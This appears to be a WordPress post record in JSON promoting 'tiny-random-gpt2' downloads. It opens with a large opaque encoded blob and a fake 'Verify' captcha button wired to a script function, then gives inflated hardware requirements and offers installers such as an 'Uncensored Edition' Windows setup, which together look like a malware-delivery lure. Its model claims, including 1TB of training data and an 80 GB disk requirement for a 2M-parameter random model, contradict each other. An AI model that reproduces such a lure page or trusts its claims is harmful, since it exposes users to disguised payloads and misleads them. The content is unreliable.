vRzvMSo8UGzyb\/xLCjz6KLm\/e4MY1qc\/Oytw8QBD9jm2gtFUunJd\/mrw6azbBfWschNU0wibIvsrHqQFXxrR2mSQfX9KlCSVbbnhMVn5I2CsHUdJ6jdjaJkXdjksGEmfgfI83s1xRjGVXDThZDAMomjqoa2G6Ug5zB9HxlmYoyaucq2Z66QSBEjL+eBOyn+T2+l13LHCtY8mJ08Dy50tQx9swGUujBN0OJZZLm6WuKaTNwq\/HQxbFZFUziUHlY0XhtPxw2+aNzwnhDIIAo\/aAnr1iEiAxaxOC8\/tpcDCgXOwmN2w1l4pdMlXlW+LuOCzKrqfyBANMD623sbXUto0Gnz2JeY8XUWqCoZp8x50rwWYhmeswZpMyUafCtckRZHNkobZEjGLjDdr4PhQiCjMaKc6Fzppu79yOd8DGGSOCQhn+RgwQsl2\/a7l004dufLou0Rht18txZbdrwTHjcc8icDpwY+Kj4KJZ2XEHnh4eD15icIg5K2U7wD3u+bQkFxCSq4v0uD8zCmrss618+hJ4ov5Z50dAOqdXyLKhBS7bR+8T8IqXiU8DvZ+yJcO4DqX3DOCr2QLhNwYtStyNQUSaUBU3cXK8RRZ3B5EKUWpW\/PfmLspkyi6CgxgtRUCCygLKA1PTDQfzLiW98YUYWhxbvgAIv36CpMPvElQgtPXP7kW2ojAL5kVa85jCdzDXIsSPC4hnzhEQoMG2VswG1h4Sk+znzUo52P6AsOjyAUzf6pDIwjAcV8D6FcmaOzlpLCLiticpqbU+0H6cdrBVcXZhUZ7OdD6x4Z8Xjeqf4cZMIO4vDnC3+bq8hb9XXn9FwiZtOllp1xz\/fIugAzDpN2f6Rc6cWDTRL2MjuCuJar7EU9WsltSKmXFsiXG\/+9puM6xXifbrOEjqRKo6W6uDSGz\/BUXDBXNbtGWjZya2XClbVEp5\/+CP0OrEWu260k6KYciaVVWzIgbkvXKDcSTrpb1QztpfQ2jQO9xP+dl68uFyQs2sqL9wRuKrK2BW+8I5vtQ9OfzRqSTiej2DwWNYyz2jrmRhgVwSrvdhPViuBV4a\/Lse2OlEZepXaW91sd7BT6YtmAdlp2ya3Rx8wx6BwbwYiLbzJJHCBsgt0su\/lFsQV+LB1lTmUgmxdStD+pHVxefJZvqF+GlZYGYteOkbtxOpa2uBhOWpgxoa8w1HFrJJLFd8yN2vnxQPLOlTGmKufmRMdsdBvYU+ZC0pvnilSq\/yYnJf5qLjYipw8wB9cRj1RpkfGaWco9ov\/WXZOpsg+FIhMAzGhhUz3G9CjRywJ5s6UE5489t93I72zG\/vDdAUYb\/vW9CvGvWgrbg30fCwdakQlD5QdBfN7fQCkXIhfhFEOi\/8uR7VuthEI+qFsO3RRJPgpe7Qz58TZcSX2S6YtuTDeZi8DivLc1ouNrEjKPZ6fPyreP9QEJ6a56wUeLQhjHeyzITM40CFrVeNLjcEzM6RD5E4jaG1q\/32n82DEeObx2YjsWHbiJMqyo1xLEpP+CSf+ZbOGoOPU3qAvFAfMVVJlkCl0T\/7kDFTkTDEnTP0F804wN1Qd+4cdY3jtn8to49jdUjtLs4K\/BbvQHTx3g8Xmf7cLfsxDk6YsCUb316Pi6iC31f7ZfIgzqIL5ElsMHtriRc7IwA14RyEMxM+1TWtftpRPRx9UvncEbfTJjvkoOs1mJLXiMdFXsLf50BQ3LlH2U7QcM0sxAfefzOxBv5NqoKq18f72lq\/dxiUSjJe6RoIpNW575+TLdvwtsoDi1G\/TV3ITKdxv6gjS3Y3JrUCFKNwEtOMXvmFTFOaqBJKalD+zfeeYSna0uWU74lTeQTtfJFuS3wLoV3J7H3ftLD10xiVU9IGRF7RErng3j4Xp8\/PlTLdsYILrTf7FFhL9rrXS+uj8oiw7Dzdmryoskd46ekRuSWT1xrUoU7+jRjk07SvFUut0GQk80rXJhBUCy7A6hEQTZIvLf1F0W8zVzwwoN+PhjMY+CvoT3kfuCgZgl7bUt9WQZM4eEcZcKVWAgBfaq33W3dbZl+mg1blgtm3+zvs2rw5nocult3BCucmQfYnpXiXS4fh6f4P5+WdFdxaTH5QK9PQgKM9TKUSCd46msIKMECoY8zB0uKYao42UztvpSXiX6hc6wEjt2wallXmW\/V0zWgPQ1xURjwaDNjEz6owSCl9FdmiBiCtMB4uY+jIqVE4lq74kdcWSH3giq6zD\/gQS0XTQSrjcbd13hRcOkl1se70oRsB7dabNdLkpMnDZcWjI8LWNRZGipKgA1t1yCp1EEjG1PhaFHtMM9WJ0lSiTB6VrAjNHjcHgkMchS0M4OKCiv2yR3xAymXqG0+Gza7JG4MGNJ84yoa5VmSnBZbh0U78PvwBmHuic5FCJ2LnCoyqrs1dPf5JyxFvV\/21aIxxpa2YEJpnEW1xq6MryU7+339\/DzRhLZM93QvorIv4NYY7T0inNO5dlWwHAnWQmjx1BQqv8YRmknPna5J1lYyJKRdO0HWq2hEYFjlyqUfi\/ZBV32SXWR6T+PRTeECb4lMA5Ach9764EaxrtnQUV6dLOrfgq3aU9ICzwN6PMaCInapOml+Jl\/F4YRoAKlc2ycvdMUi21dgRCxjqVUTHyZKaZfaoop6TYtd2VteER5vO8G9hbcIQC1soEsjDpI6Ug1Ic8XWybkmSFNEqfS+IZy9T87fG9cEIEELSVG\/kCKa4pmJSOdkSP1w0kcW\/p1SWZYJbouI4WIcPpK9OQ157WZrRCYZXTJFI75QkaZ4T0NwWtebj+cRVfgBZz3Y2vFdzlWoxvWpNzfJtG66kbKOH3Salo1FsnsOSfAaVyWnpdhVWITmndWIzR\/YIYIDnIXGLzdVCAp7re2w\/Q7LgExrCST7pF\/zRtXeI7TqbtYTlLF7lWNx6P3PX82EXbeHQnQaxTf+jVBa1sLzFel5sW+kbJeYiSdn\/buL94alwt0hAVpKlYHge\/CrEuxFwfOeKXbdqRebmmAu2RD2HXs6xAoJc6\/vf3sqvwGff8ChDXqjIZssV31GalekCLbk5lZ7Yda4yc3wyxCNKblOum05\/hGZJUYBBD1+ZCxgKY9GyS6CSh7jVt8n4gEq8FdXuXQBYTr9ol+S4MtIMtbleHVnunGwWGmeNK\/R0AMO65d8rs+7+vAzXGpRhCNf2gPAjUG5CbecWpjOB4PVgVL9vOBNgh8isXKvAAm6HGu2VyKZy71WYzXjpFrthiHNwB5ycTzH2oV4pbczb3alY5ntOgRlj72nNNk+2xImrwzs3q9vVtVs9IEe7UXCKfONKultWR8Dm9tgvVTKalcfYUFse8gNoPvgrGOx0s3XFzyKP1VgLHXiDPVnVMrZ1WxxLReuigCCyjQVkD2GTh8WyOONBhg4RJ5OcJQ6yDvnAwasVLmYV0oxC1Crk53OezaWnWPIzXI9y1EEAHECdDEI7F\/TThW7IDoOJKdVwqhXhna+t5QIa5ORO5qY79f8xPM7\/GUbw88jMSHjEeXHzjELE29Yg0XUI5PjjUUIDdSLzSL9FoopWjm1pyqnxC7lzbBZnjar9X7VC8vlFoobfS2yeF3DL6JgjA7QNgv9sIQLx04ACiMCNGpGiDdV2fwPTVIpxtNO+6y7n7a3GXBrVur4x6uXiV9TusngzcaEsjXt0NgYUHCCftHcob8mw5rsT1IrqK\/AE6P6yfb6TXx+dV2uCzGh\/Za90Uj7U7ZNcbnI261NstfzkKoPdEJp43T6jO+62ToJ1pmmDTM0WaU7FqvRTkLfCvn9uih1zYCn2U20FPByVVOhVtIuHqJH+kWZBAjCtAhL1GqHDR+9SlF2v+L\/rKr4OdK3P0Yset50mKvpEJFgfG23Vb0kJEOPP3V\/u9nzWGF0Fqe0WMFlH7byBsKgtLoEhCmxyYUyQKW4d6S6oJxFcD6zp+ZHlE+3rsQ8qeVDZKS3mctMUaeiFOcXzndrwc6f1OhpvfhNBv0JVBc83kUuRSZ88KSI1S1ODNBgRVDtm\/KYqAgAKBpfUFOK3LcpPMuj0wW3z+SDyPCsl1yysz64U48ncfettEYj3GpLh7W1jReufMZr\/s4SKr2mbmxVbOiiu3Ob8BVJWoFyoFilfPPPX02asYsDUPzETvyQiZGSa2qtdFBmLzfouDRLM1way9DhuWugyULXnY5EIOGNP4sE3v\/LySq6qDLwxX+EHapbBMxFUE8p1gVYla5NU7RIQtONCdcv1qzn8GYvT9EYQWrj0lkIStk\/bKBRx+y5Q24J4x0MZqqxW2MUR7WdQz3CHBx6DgcZtTR\/b0Gp5EaHhMHS5j9nnfmOU1U6mgq\/cPZY6DpIlXowKjF7tcK2kp\/YM6FCeZv48q\/QqHftmBjVmca6l8JRR\/IV38vrB7A\/zJMZwqrBZLf3M2RR9EyodnlMmorBM7qlDMi37+aX79SNJfKa7eRXLeGZiTfncCNPMVPvGRINZyzmJjOdYOyQWRMnejHtCP5GyyqkM3EpO5aL6hmQVHnCJElsEr9MFnBm9E2ovu9USeomSn7VGaNdcdvovn\/m7PkRdlBkmCa9EqSzM7wkFDAe59CF6tOCDf7a5dO1vYxiw9fQT3SejhsdjmdVCj88HlVzpJh3qsDFRivY0TakjDNhG0DS5R0VN36dVz+F\/lu3dvnYa8mGPSVPej2Xb5lFhIUDsnebCoauDpzU\/+tCO4xKbF2wTc6YHMA\/p0nWppKtWJ3gzYmeBqgnUMhiQY0kVnpfgyOAUjNo6UsoBqkSyGuGUKdniWyfFMwonIDcJD+W29ubtkvCnpuAXOo8r2dtwPCd9yxjgAJ+jxrAwagEx2AhqSgRcpoEPTjTAUwI8ICYOe6dpyusP83OGCHdAJ8LpK1zNO0utUZpvn02to1cWsyc0EpguzQFisWe9EBH4gwNxEG7o5JtRllIurHTRzADQ0dUywKBSHmJJ8cwdccNU1\/ghq9IwEiLDp4\/r8R0x6bcpLZT6+6yYY75f0EJF50qagHyr2Pj7Oc1FCxvWq9ti4pbb0k3n2pc3y\/dZ4W8\/qudYWCTh87j4ZOl\/KoANMvj1E21ujX6hFROWVThpc\/neh\/p8XrFKGHCmzzuTzWVJ7jT8n0iw7o\/uFYJXYKR6eKcYIjj6Ea47\/baiCZaEvnulc36NqpLcJTz\/9yfl\/D7y0\/E0udBsMzPSn+svThk\/Ne5o+PSFBNO7Wkcv\/jd14GF4lUZm4WLjMELJSDdcmzz58kZ9BforTexxceULSxPMh0N7dhSg4NhBjHfaGcbw6brKhyt+TRbfZozIy1z7YBkOKzPqExKDdPgUgFs65tBmKU6xV9dApamkOTv1NGZ5CBU9ELZ61A59Qa10ymAsIPd73g3u2\/ZssQKVpefUZCTXd805sb+1KMbyeDkdiNsQEbirQ5\/o68Ag6Yao8e04s7uymCs5cKnwyADuyzpUjJGfd2kM2pfrOvw4kyq5ycRhmkCwiO956JtX5RV1Jx49QAsWVUW3gvxyHp1A\/Rgdyj18YUaB8FBtqNv3SItIEAxpACjlqB0fB89TmEG+PDYV+PCaKazpXnumU2jo7X35qysXYei9rH7YzaEO8yHi7ufwOxalekD8e+7Vq3R3C4uDkPgHg0ozG7NKGk0DcYWdLCDi8IPtO4NILI2IAAdz6T6t\/8F6QuD5i0Rv1sl8afK4dole9Wqor2M76Z0fpuu9CJg81njf\/sqSj9IkydMUa6yJ1dLSh00MNmkqxBzSxtdILO6XrlFnEeL2nPfAz2igCgtKK4ESnMWkOxXFHCGkp8gdrRxVK2uI9Y5+D+n9sL33XyenkgEEfPbO50pzBAe7R0H74DT+wdEVUnB5haNCMp8BKZ841kphXZ6m2+uxaYhMeMM5XG2XyDgaTTRq670DLzeJLUKt6Yi4mRfL6r0fsG5ngss4E+tVhoXormhbdqWkQ5MABzoF4fy4OMr+W0zjPYR+1ZjWEu4pYxFKpXk4HGcF4toYdnglfS+5iBNHjRWIaKLhSDa42Qqy1xwp9tdK6Vo\/6Fe93XuSMiEbRiunsXUYP\/T8fIz6FNHAtVtyZhIHk5Tfvs2E6Hmhg2dsvSPaYiFJUq9i2lbtCC052QKssu9dxbDDqNfVlWaluH7mF5iMoejnKjicpP8FX\/aP+lcV9bjed7K9ip4glUATXs9qcrih83wiEkcwbTIRZaAR6ZJIB5E3AHBaLxCBZPfYwcHoeJ6U1aOuaCEBytgJXzqlEnXJ0WsHdMQcORaAPROfOHnsuFj67KR8+nCUWXEn2I+wCaxDeRyjSA\/BYSylE85w6XEjuCYjSOP588E96WTE47o+yBpFRfIu0sDaGeUEOKkwrHoUzxNPBjb0Bt67squB\/hEJfY0W2fac1z7Cpo3bL44Y53naUnnEfISfEGNz6HOGceYrcfNNykhF6geIa6\/Uw4Z3\/NAFSdSdv7ASoqmUdp+\/ZMhSCeL992\/6q5lgZWak2LpGs1poR964+pTmwZzBfhjcSrkTJFEXC+f6NzNfBNAbYtoBHmn85kU\/tQXmp903eyXmv\/4xFUi3oHqbfW7zHWF\/+rhPxSxgD+EZa0PW2oE5q3\/EVVVs2XRaiYwbqzfErFbZRCsfCPa1vL2NbWaYCSPH6q1ctGdv+Fsi3CAvy8PQU0Pff4zNA7N5h7sUkn5GpbP+4yuCo3f24FFYmx3QjaPFdk8tV3O7r1lxgr7OENQbk9PAiundiPZEzpzAphMzIqjXo9NsGU+fLB7KfoYODnNbF++s\/+Mf9ebFdR1OrEOfpwyvGBLr\/crpuOTYR6BbCQwRK1PYPpDOmJ6jDn8uwyNECmakCmR2C22U0YywX4Zc9K6ZhpAqRmOLZmxl2z5mqsPJtkCj0Yp5ddzs2fe1iakExjxj24wwTQxzaBeHrHyrdx8NPIKz2nPB1ZzcyBYWuYBuku522pZpBhWJ7caBL44zvR3xnuCsDwvT5ZR6DWMcTxi4LkPKyzK2KxjuQb9KHoDqrHOdQUXZ8++6TgUXdF0Q9LujUYx+ZiPpx6NbChFDnr1p0j3zsoZCion0ixQ3XERfHQB+qja\/KGYaHSiK7mFkTmViaHrcYdGBrr9ho9wynMKY9JVioPIivFcU5N5AQ+4OCrSy5jtOZns6kmOrvLn4pF0EwtZRxwbFLBRdA8ywYIF93t67r3WjztPZ8jF5mg0Xt0WBVCIbDuTYhq7kTmt2punY11b1lBmG7keuvRwvrmnS26xGTPzUYgpa31xZ2Abp4v3znDdPyKW6rqaKkZZZmEPPGOWZm5xSiNjfa6tXm\/tmNNbcq5hQKY4DQbrIXBvWJAFICMCv8MkX50mD0TJPdfV92Kzcnb6yybWYgPnT3lzTvHRnuFUCV31dRxXLmVgiFnCBNSi4SaZEl9M2BtnXuspMVaNDHEX+h44bA6HiKOnrp61RXV\/z1QxkcOE\/S2BSlCBl\/\/I9fbsYI+3LemrlMLAnpzsi5aHWZG5McVk9eeHoevBbMSbke1y\/5TD0QkzJe7fqNcs5BoAFhHKf1ct1hBnyUgtV9VMnX2vYT49RWmdafIWd1dbGkT9C8zaefH8cmY\/tTDiXhs1iKhHp6P16J+Vu324Qq8Xxh3MUna30N7lgtEDvEXtkF3ji1jQOqJ6akuJ70NQ+l2\/zMW00BT\/rfs28XFmBOzNJaBDkxvaClrgBsq9xpU0AYxny+cCwPuNbCnccCZ9iJWxpQuIdtoATDWfT8YJnkdBRRFod+7L\/BspYtlzMx3P1pn\/y7ytycsva0ZEIpIc5d6XFseyn2ALMcvrb+9CeuTUjWmb\/Q3RzD3EZ7qLPqmzA6+7ZbAbINyZTGRayTfgpn9dqvktK3YQXxEUi+DB\/4TTg6ybMCYMVuc7RTP+rFmG6mAp37\/VO+6LBB2Tfj9qb2B\/gR079QWM3IVLtFFHDAh+dRyenCLlkswmAloE4u4I2ZruuJgqfG6i1yVFfV6a+qsy3E7TtPSzB6NxIhzqm9Gl8L27Hz\/ZpMmwwDlCudzsW2hksuO+bNUKKiih2aFMGSPsCrHu4J\/IheVHiH6LOReYpbD7Hx7a0aIaYEDdMHaphMZNv1OnWSj3GDtx8AbAZKUvzRhfQ14gomvsn9rJiL5PoFC\/aZ\/8ZZcaAspZhRtoZG9eIyzRJJ8H1j3on2wj2zlm28RtwFUifTFfA3VhWi3qtA7egMGDjxQBnaXMnJnRCWZrAlJwkKdmNEs3xIFO1gnfTLs8AwoRymX0G\/0gRq7hGbX6L4W\/KpY1kxpjKn+UZx38BPzbo2PhvWDVy2Juuc7GniHzhQb9pKAyUYdD8xuDYX04PehvZ4cw\/uJ4A5WFnTsYVicHJsyd9j5vUMRa9JzPpK2l\/XNu1TG44ZU6jwkqXyHWsAxI70Q713KlTjeLkOpIIg+u2lvmq\/11RimYtJuNvTvsRXtzUoqbbWUKi2HUpjSuR\/YLITZSRIq9oEvsi99qMMi079k6UlZxq+E1yF3NfAB6ILpAuj\/LXKi3YgMEHzRGXhXnHF8BI14M6QuwvnfHmPMyb4R6hyld4D1dudpItkMufO6nPptjwKjDGQ6S2SZnLJRcRCuC7aHoDCtmoi5JTSx2FuFzcdwuXOoUzV6eK4l3WSE1NL9DqKsp8Br1Or83tCH1ybvgorfLyDsOEgfl6qtpKPkJ1eFSeilqCNBw43myp1jej02DNhXkoO+JXUZ9Hoat9kXKTapPS79LWExNvCZasBpZyTZqAQcdlB3FPolG24gnGwCFWDzS6zx3k4Qy+L2+bJt9s54oVcqTUuaJ1nF2uowXKUZm85mtoKT23wrFZ+FDFfaY8+nztSGNwz9P3mS8YFS7th+AiCcOr54OTUJyl6VoV1\/Tgrpru1X9BodwPkJN7Id1rd8lFq3ef3eexuU0CVmXmGPK0U1GaBhwE4KXubJ98ku62U3GIprIR9ay84ZHu13gAhiLqIdcmZvJc0tujQdppJjMiG8+ZqJxMZ+6cKaqkD+ZrH8DbZUBH3J40ZKIumRHDrrBpSl0+RPcBHoKYtY3uC+Q8GSnBpeX9Cfq2V+xqejvbNzvBX7DcMdXcoM76V2MPuCbJDAEXktyS7m0X6QYrDj+D5gzymaQnWrINgf2KVYB\/hk0sli8PTa7Oi9Wsca0gZllFBTUMbAAL51s79XQs7CwPynp4B+\/5ndUBoigBkWVHfD9SFTDNSGx\/1Uq5f\/C6lvZuBYHioyN0xu0xc8ePYb7k9+MGgpaFf66r8nDZ9PtA9a6dlfreIYMJwIcHYxyEglUgO3YdeB+C05VKOqlqORd4a02YP4InkNeuyREv7w8NOctaAhiiVgDIiT6ZD7ebhJVfPiM6KDzewYtzxnKtpXuEuKvowE46sHHfWi2ayMlnPPFHDPXD598MXdrBvjUg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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> at least 32 GB in <strong>dual-channel mode<\/strong> for bandwidth<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>The Revolutionary Tiny- Random-GPT2 Language Model<\/h4>\n<p>The <b>tiny-random-gpt2<\/b> is a game-changing, compact language model designed to accelerate inference on consumer hardware. This innovative approach yields significant reductions in parameter count compared to standard GPT\u20112 variants. The model&rsquo;s randomized initialization strategy prioritizes speed over accuracy, making it an attractive solution for real-time applications. With its cutting-edge architecture, the <b>tiny-random-gpt2<\/b> is poised to revolutionize the field of natural language processing.<\/p>\n<h4>Technical Specifications and Performance Benchmarks<\/h4>\n<ul>\n<li><strong>Context Window Length:<\/strong><\/li>\n<li>\n<ul>\n<li>256 tokens<\/li>\n<\/ul>\n<\/li>\n<li><strong>Training Data Size:<\/strong><\/li>\n<li>\n<ul>\n<li>About 1TB of text data<\/li>\n<\/ul>\n<\/li>\n<li><strong>Token Generation Speed:<\/strong><\/li>\n<li>\n<ul>\n<li>Over 100 tokens per second on a single CPU core<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<table>\n<tr>\n<td><b>Model Specifications:<\/b><\/td>\n<td><b>Description<\/b><\/td>\n<\/tr>\n<tr>\n<td><strong>Parameters:<\/strong><\/td>\n<td><strong>2M<\/strong>, compact and efficient architecture.<\/td>\n<\/tr>\n<tr>\n<td><strong>Training Data Size:<\/strong><\/td>\n<td><strong>About 1TB of text data, diverse internet-scale corpus.<\/td>\n<\/tr>\n<tr>\n<td><strong>Token Generation Speed:<\/strong><\/td>\n<td><strong>Over 100 tokens per second on a single CPU core, rapid inference capabilities.<\/td>\n<\/tr>\n<\/table>\n<h4>Frequently Asked Questions<\/h4>\n<ol>\n<li><strong>What makes the tiny-random-gpt2 language model unique?<\/strong><\/li>\n<li>\n<ul>\n<li>The combination of compact architecture and fast inference capabilities make it an attractive solution for real-time applications.<\/li>\n<\/ul>\n<\/li>\n<li><strong>How does the randomized initialization strategy impact performance?<\/strong><\/li>\n<li>\n<ul>\n<li>Prioritizing speed over accuracy allows for faster processing times, making it suitable for dynamic environments.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<h4>Conclusion and Future Directions<\/h4>\n<p>The <b>tiny-random-gpt2<\/b> is an innovative language model that offers significant advantages in terms of compactness, performance, and inference speed. As natural language processing continues to evolve, the potential applications of this technology are vast, from real-time language translation to conversational AI systems. With ongoing research and development, we can expect to see further improvements in accuracy and efficiency, solidifying the <b>tiny-random-gpt2<\/b> as a leading player in the field.<\/p>\n<ol>\n<li>Installer deploying local AI studio with automated DeepSeek-V3 multi-endpoint routing failover setups<\/li>\n<li>tiny-random-gpt2 For Low VRAM (6GB\/8GB) FREE<\/li>\n<li>Installer configuring localized guardrail classification models for input-output validation<\/li>\n<li>Launch tiny-random-gpt2 FREE<\/li>\n<li>Installer deploying local vector search structures for Dify automation<\/li>\n<li>How to Run tiny-random-gpt2 Uncensored Edition Offline Setup Windows FREE<\/li>\n<li>Setup tool configuring complex multi-modal vision pipelines inside Ollama terminal<\/li>\n<li>How to Autostart tiny-random-gpt2 on AMD\/Nvidia GPU<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>&#x1f4c4; Hash Value: bec446086f4f7b92eb3387f57c644e8b | &#x1f4c6; Update: 2026-07-15 Verify CPU: AVX2\/AVX-512 instruction set required for llama.cpp RAM: at least 32 GB in dual-channel mode for bandwidth Disk Space: 80 GB NVMe SSD required for fast model weights loading Graphic Processor: hardware Tensor Cores support needed for FP16 acceleration The Revolutionary Tiny- Random-GPT2 Language Model The&#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"_kad_post_classname":"","footnotes":""},"categories":[33],"tags":[],"class_list":["post-2827","post","type-post","status-publish","format-standard","hentry","category-zero-shot"],"_links":{"self":[{"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/posts\/2827","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/comments?post=2827"}],"version-history":[{"count":1,"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/posts\/2827\/revisions"}],"predecessor-version":[{"id":2828,"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/posts\/2827\/revisions\/2828"}],"wp:attachment":[{"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/media?parent=2827"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/categories?post=2827"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thierryandriana.mg\/en\/wp-json\/wp\/v2\/tags?post=2827"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}